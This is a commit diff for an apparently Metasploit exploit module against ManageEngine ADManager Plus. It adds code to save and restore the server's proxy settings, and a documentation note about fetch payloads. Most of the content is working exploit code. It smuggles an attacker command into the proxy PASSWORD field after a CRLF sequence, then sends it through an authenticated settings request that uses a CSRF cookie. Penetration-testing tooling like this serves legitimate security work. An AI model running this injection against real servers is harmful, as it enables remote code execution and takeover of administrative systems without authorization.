Add in ability to restore settings n documentation changes.
Previously there was not the ability to restore the server proxy setting. This updates the code to do so. Additionally this also updates the documentation to note that Fetch payloads are incompatible with this module since they use HTTP connections that will be impacted by this module changing the server's HTTP proxy settings. There is no way around this.
This commit is contained in:
+3
@@ -11,6 +11,9 @@ running ADManager Plus, which will typically be the local administrator.
|
||||
Note that the attacker must be authenticated in order to send requests to `/api/json/admin/saveServerSettings`,
|
||||
so this vulnerability does require authentication to exploit.
|
||||
|
||||
As this exploit modifies the HTTP proxy settings for the entire server, one cannot use fetch payloads
|
||||
with this exploit, since these will use HTTP connections that will be affected by the change in configuration.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Set up a Windows Server target as a domain controller server.
|
||||
|
||||
+70
-8
@@ -28,6 +28,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
Note that the attacker must be authenticated in order to send requests to /api/json/admin/saveServerSettings,
|
||||
so this vulnerability does require authentication to exploit.
|
||||
|
||||
As this exploit modifies the HTTP proxy settings for the entire server, one cannot use fetch payloads
|
||||
with this exploit, since these will use HTTP connections that will be affected by the change in configuration.
|
||||
},
|
||||
'Author' => [
|
||||
'Simon Humbert', # Disclosure of bug via ZDI
|
||||
@@ -66,7 +69,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
|
||||
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES] # We are changing the proxy settings for every HTTP connection on the target server.
|
||||
}
|
||||
)
|
||||
)
|
||||
@@ -177,17 +180,57 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
fail_with(Failure::NoAccess, 'Could not obtain adscrf cookie!') if @csrf_cookie.blank?
|
||||
|
||||
execute_command(payload.encoded)
|
||||
retrieve_original_settings
|
||||
|
||||
begin
|
||||
modify_proxy(create_params_value_enable(payload.encoded))
|
||||
ensure
|
||||
modify_proxy(create_params_value_restore)
|
||||
end
|
||||
end
|
||||
|
||||
def execute_command(cmd)
|
||||
def retrieve_original_settings
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => normalize_uri(target_uri.path, 'api', 'json', 'admin', 'getServerSettings'),
|
||||
'method' => 'POST',
|
||||
'vars_post' => {
|
||||
'adscsrf' => @csrf_cookie
|
||||
},
|
||||
'keep_cookies' => true
|
||||
}
|
||||
)
|
||||
|
||||
unless res && res.code == 200 && res&.body&.match(/ads_admin_notifications/)
|
||||
fail_with(Failure::UnexpectedReply, 'Was unable to get the admin settings for restoration!')
|
||||
end
|
||||
|
||||
json_body = JSON.parse(res.body)
|
||||
server_details = json_body['serverDetails']
|
||||
unless server_details
|
||||
fail_with(Failure::UnexpectedReply, 'Was unable to retrieve the server settings!')
|
||||
end
|
||||
|
||||
server_details.each do |elm|
|
||||
next unless elm['tabId'] == 'proxy'
|
||||
|
||||
@original_port = elm['PORT']
|
||||
@original_password = elm['PASSWORD']
|
||||
@proxy_enabled = elm['ENABLE_PROXY']
|
||||
@original_server_name = elm['SERVER_NAME']
|
||||
@original_user_name = elm['USER_NAME']
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
def modify_proxy(params)
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => normalize_uri(target_uri.path, 'api', 'json', 'admin', 'saveServerSettings'),
|
||||
'method' => 'POST',
|
||||
'vars_post' => {
|
||||
'adscsrf' => @csrf_cookie,
|
||||
'params' => create_params_value(cmd)
|
||||
'params' => params
|
||||
},
|
||||
'keep_cookies' => true
|
||||
}
|
||||
@@ -199,7 +242,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
elsif res.body&.match(/Successfully updated the following settings.*-.*Proxy Settings/)
|
||||
print_warning("Settings successfully changed but the fact that the server responded likely means the payload didn't execute!")
|
||||
elsif res.body&.match(/"status":"error"/)
|
||||
print_error("The payload somehow triggered an error on the target's side!")
|
||||
print_error("The payload somehow triggered an error on the target's side! Error was: #{res.body}")
|
||||
else
|
||||
fail_with(Failure::PayloadFailed, 'Was not able to successfully update the settings to execute the payload!')
|
||||
end
|
||||
@@ -210,15 +253,34 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
end
|
||||
end
|
||||
|
||||
def create_params_value(cmd)
|
||||
def create_params_value_enable(cmd)
|
||||
[
|
||||
{
|
||||
tabId: 'proxy',
|
||||
ENABLE_PROXY: true,
|
||||
SERVER_NAME: 'localhost',
|
||||
SERVER_NAME: 'localhost', # In my experience this worked most reliably.
|
||||
USER_NAME: Rex::Text.rand_text_alphanumeric(4..20).to_s,
|
||||
PASSWORD: "#{Rex::Text.rand_text_alphanumeric(4..20)}\r\n#{cmd}",
|
||||
PORT: datastore['RPORT']
|
||||
PORT: datastore['RPORT'] # In my experience, setting this to the same PORT as the web server worked reliably.
|
||||
}
|
||||
].to_json
|
||||
end
|
||||
|
||||
def create_params_value_restore(enable_proxy = nil)
|
||||
if enable_proxy.blank?
|
||||
@proxy_enabled = false
|
||||
else
|
||||
@proxy_enabled = true
|
||||
end
|
||||
|
||||
[
|
||||
{
|
||||
tabId: 'proxy',
|
||||
ENABLE_PROXY: @proxy_enabled,
|
||||
SERVER_NAME: @original_server_name,
|
||||
USER_NAME: @original_user_name,
|
||||
PASSWORD: @original_password,
|
||||
PORT: @original_port
|
||||
}
|
||||
].to_json
|
||||
end
|
||||
|
||||
Reference in New Issue
Block a user